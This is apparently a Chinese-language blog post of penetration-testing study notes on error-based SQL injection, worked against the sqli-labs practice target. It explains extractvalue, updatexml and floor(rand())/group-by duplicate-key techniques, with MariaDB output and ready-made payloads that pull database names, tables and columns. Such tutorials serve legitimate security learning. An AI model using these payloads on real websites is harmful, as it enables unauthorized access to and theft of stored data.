学习笔记-渗透测试-SQL注入_003_报错注入

随着程序开发者的安全意识逐渐提升,不会允许我们直接获取数据,但反观他有报错信息泄露的问题存在,我们就可以尝试让报错信息夹带我们需要的信息完成数据的回显

1 报错注入原理

例如:

if($row)
{
	echo 'You Login name:'.$row['username'];
}else{
    print_r(mysql_error());
}

这里$row不为真,则会返回mysql_error()的报错信息,如果我们故意构造报错语句,让他返回错误信息的时候带上了我们想要的数据,就完成了一次报错注入

凡是可以让错误信息显示的函数(语句),都能实现报错注入

案例选用sqli-lab靶场第六关

http://192.168.0.102:81/Less-6/?id="

image-20230208223232129

加引号可以看到mysql的报错信息

2 攻击方案

2.1 利用xpath语法错误注入

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。 使用条件:mysql版本>5.1.5

2.1.1 extractvalue函数

MariaDB [(none)]> select extractvalue(1,concat(0x7e,(select user()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

extractvalue对XML文档进行查询的函数,其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

第二个字符串参数需要符合xpath语法查找字符路径格式(/xxx/xxx/xxx/…),如果不满足会导致报错,并且将查询结果放在报错信息里

常见payload

id=" and(select extractvalue("anything",concat('~',(注入语句)))) --+
# 查询数据库版本
id=" and(select extractvalue(1,concat(0x7e,@@version))) --+

注:
0x7e  是~的asccii码

concat('a','b')=“ab”,是因为第二个参数有截断的能力,以select user()为例,会把root@localhost中root部分认为是合法字符,到了@才发现是不合法的,所以返回结果就会t@localhost
version()=@@version
‘~‘可以换成’#’、’$'等不满足xpath格式的字符
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

案例:
# 查询当前数据库
id=" and(select extractvalue(1,concat('~',(select database())))) --+
# 查询所有数据库
id=" and(select extractvalue("anything",concat('~',(select group_concat(schema_name) from information_schema.schemata)))) --+
# 查询当前数据库所有数据表
id=" and(select extractvalue("anything",concat('~',(select group_concat(table_name) from information_schema.tables where table_schema="security")))) --+
# 查询所有数据列
id=" and(select extractvalue("anything",concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')))) --+

2.1.2 updatexml函数

MariaDB [(none)]> select updatexml(1,concat(0x7e,(select user()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

updatexml()函数是更新xml文档的函数,报错原理与extractvalue相同,即xml路径报错

语法:updatexml(目标xml文档,xml路径,更新的内容)

常见payload

id=1" and updatexml(1,concat(0x7e,(注入语句),0x7e),1) --+
id=1" and updatexml(1,concat(~,(注入语句),0x7e),1) --+

案例:
# 查询当前数据库
id=1" and (select updatexml(1,concat('~',(select database())),1)) --+
# 查询所有数据库
id=1" and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) --+
# 查询当前数据库所有数据表
id=1" and (select updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema="security")),1)) --+
# 查询所有数据列
id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+

2.2 利用主键重复报错注入

此类报错基础原理是利用concat+rand()+group_by()导致主键重复

# rand()会生成0-1之间的随机数,floor则是向下取整型,如果rand()*2 结果会在0-2之间 那么floor取值则会使0或者1的随机数
MariaDB [security]> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)

# 如果我们构建查询 (user为随便一张表) 则会得到如下结果
MariaDB [security]> select floor(rand(0)*2)x from users;
+---+
| x |
+---+
| 0 |
| 1 |
... 节省篇幅省略
| 1 |
| 0 |
| 1 |
+---+
13 rows in set (0.00 sec)

# 这是再引入group by则会导致 上述结果执行13次(user表有13条),然后对floor(rand(0)*2)结果进行分组
MariaDB [security]> select floor(rand(0)*2)x from users group by x;
+---+
| x |
+---+
| 0 |
| 1 |
+---+
2 rows in set (0.00 sec)

# group by 分组会诞生一张虚拟表,这张虚拟表的主键即为0和1
MariaDB [security]> desc select floor(rand(0)*2)x from users group by x;
+------+-------------+-------+-------+---------------+---------+---------+------+------+----------------------------------------------+
| id   | select_type | table | type  | possible_keys | key     | key_len | ref  | rows | Extra
              |
+------+-------------+-------+-------+---------------+---------+---------+------+------+----------------------------------------------+
|    1 | SIMPLE      | users | index | NULL          | PRIMARY | 4       | NULL |   13 | Using index; Using temporary; Using filesort |
+------+-------------+-------+-------+---------------+---------+---------+------+------+----------------------------------------------+
1 row in set (0.00 sec)

# 如果分组是引入原来数据表users的数据参与 rand()函数会因为表有很多行而执行多次 产生多个0和1 group by对其进行分组的时候 会不断的产生新分组 当其反复执行 而主键都是0和1 所以在遇到相同组件的时候 就会产生报错
MariaDB [security]> select count(*),floor(rand(0)*2)x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

# 如果在已经有报错的情况下进行查询,那么查询就会被报错信息带出
MariaDB [security]> select count(*),concat((version()),floor(rand(0)*2))x from users group by x;
ERROR 1062 (23000): Duplicate entry '5.5.68-MariaDB1' for key 'group_key'

# 做一个流程简化
MariaDB [security]> select count(*) from users group by concat((version()),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.68-MariaDB1' for key 'group_key'

常见payload

http://192.168.0.102:81/Less-6/?id=1" and (select count(*) from information_schema.tables group by concat(0x7e,(注入语句),0x7e,floor(rand(0)*2)))-- #

# 查询当前数据库
http://192.168.0.102:81/Less-6/?id=1" and (select count(*) from information_schema.tables group by concat(0x7e,(database()),0x7e,floor(rand(0)*2)))-- #
posted @ 2023-02-26 23:08  kinghtxg  阅读(90)  评论(0编辑  收藏  举报